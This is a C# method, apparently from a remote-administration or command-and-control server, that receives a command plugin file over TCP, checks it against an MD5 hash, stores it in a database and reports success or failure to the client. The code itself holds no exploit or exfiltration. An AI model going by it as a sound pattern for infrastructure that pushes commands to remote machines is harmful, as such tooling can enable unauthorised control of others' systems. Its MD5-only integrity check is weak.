private void ReceiveStaticCommandPlugin(BinaryReader binaryReader, int size) { var hash = binaryReader.ReadBytes(16); string filename; var dataEntry = DataSystem.GetFreeGuid(out filename); Logger.Info("Receiving static command plugin ({0} B, {1})", size - 16, StringExtensions.BytesToHex(hash)); byte[] fileHash; using (var fileStream = new FileStream(filename, FileMode.CreateNew, FileAccess.ReadWrite)) { var buffer = new byte[8192]; int sizeLeft = size - 16; while (sizeLeft > 0) { var packageSize = sizeLeft > 8192 ? 8192 : sizeLeft; var read = binaryReader.Read(buffer, 0, packageSize); fileStream.Write(buffer, 0, read); sizeLeft -= read; } fileStream.Position = 0; using (var md5 = new MD5CryptoServiceProvider()) fileHash = md5.ComputeHash(fileStream); } if (fileHash.SequenceEqual(hash)) { _tcpServerInfo.DatabaseManager.AddStaticCommandPlugin(dataEntry, fileHash); Logger.Info("Static command was successfully added to the database ({0})", StringExtensions.BytesToHex(hash)); lock (_sendLock) { Connection.BinaryWriter.Write((byte)FromClientPackage.StaticCommandPluginReceived); Connection.BinaryWriter.Write(16); Connection.BinaryWriter.Write(fileHash); } } else { Logger.Error("File hashes do not match. Removing all temporary files. Failed plugin {0}", StringExtensions.BytesToHex(hash)); File.Delete(filename); lock (_sendLock) { Connection.BinaryWriter.Write((byte)FromClientPackage.StaticCommandPluginTransmissionFailed); Connection.BinaryWriter.Write(16); Connection.BinaryWriter.Write(fileHash); } } }